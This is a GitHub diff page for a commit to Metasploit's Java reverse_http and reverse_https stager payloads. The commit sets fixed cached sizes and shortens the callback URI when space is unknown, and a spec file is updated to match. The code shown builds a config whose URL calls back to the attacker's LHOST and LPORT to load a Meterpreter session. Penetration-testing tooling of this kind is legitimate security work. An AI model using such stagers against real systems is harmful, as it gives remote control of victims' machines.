File tree Expand file tree Collapse file tree 3 files changed +22
-6
lines changed
modules/payloads/stagers/java Expand file tree Collapse file tree 3 files changed +22
-6
lines changed Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = :dynamic
11+ CachedSize = 5499
1212
1313 include Msf ::Payload ::Stager
1414 include Msf ::Payload ::Java
@@ -40,13 +40,21 @@ def initialize(info = {})
4040 end
4141
4242 def config
43+ # Default URL length is 30-256 bytes
44+ uri_req_len = 30 + rand ( 256 -30 )
45+
46+ # Generate the short default URL if we don't know available space
47+ if self . available_space . nil?
48+ uri_req_len = 5
49+ end
50+
4351 spawn = datastore [ "Spawn" ] || 2
4452 c = ""
4553 c << "Spawn=#{ spawn } \n "
4654 c << "URL=http://#{ datastore [ "LHOST" ] } "
4755 c << ":#{ datastore [ "LPORT" ] } " if datastore [ "LPORT" ]
4856 c << "/"
49- c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , 30 + rand ( 256 - 30 ) )
57+ c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , uri_req_len )
5058 c << "\n "
5159
5260 c
Original file line number Diff line number Diff line change 88
99module Metasploit3
1010
11- CachedSize = :dynamic
11+ CachedSize = 6307
1212
1313 include Msf ::Payload ::Stager
1414 include Msf ::Payload ::Java
@@ -42,13 +42,21 @@ def initialize(info = {})
4242 end
4343
4444 def config
45+ # Default URL length is 30-256 bytes
46+ uri_req_len = 30 + rand ( 256 -30 )
47+
48+ # Generate the short default URL if we don't know available space
49+ if self . available_space . nil?
50+ uri_req_len = 5
51+ end
52+
4553 spawn = datastore [ "Spawn" ] || 2
4654 c = ""
4755 c << "Spawn=#{ spawn } \n "
4856 c << "URL=https://#{ datastore [ "LHOST" ] } "
4957 c << ":#{ datastore [ "LPORT" ] } " if datastore [ "LPORT" ]
5058 c << "/"
51- c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , 30 + rand ( 256 - 30 ) )
59+ c << generate_uri_checksum ( Msf ::Handler ::ReverseHttp ::URI_CHECKSUM_INITJ , uri_req_len )
5260 c << "\n "
5361
5462 c
Original file line number Diff line number Diff line change 885885 'stagers/java/reverse_http' ,
886886 'stages/java/meterpreter'
887887 ] ,
888- dynamic_size : true ,
888+ dynamic_size : false ,
889889 modules_pathname : modules_pathname ,
890890 reference_name : 'java/meterpreter/reverse_http'
891891 end
896896 'stagers/java/reverse_https' ,
897897 'stages/java/meterpreter'
898898 ] ,
899- dynamic_size : true ,
899+ dynamic_size : false ,
900900 modules_pathname : modules_pathname ,
901901 reference_name : 'java/meterpreter/reverse_https'
902902 end
You can’t perform that action at this time.
0 commit comments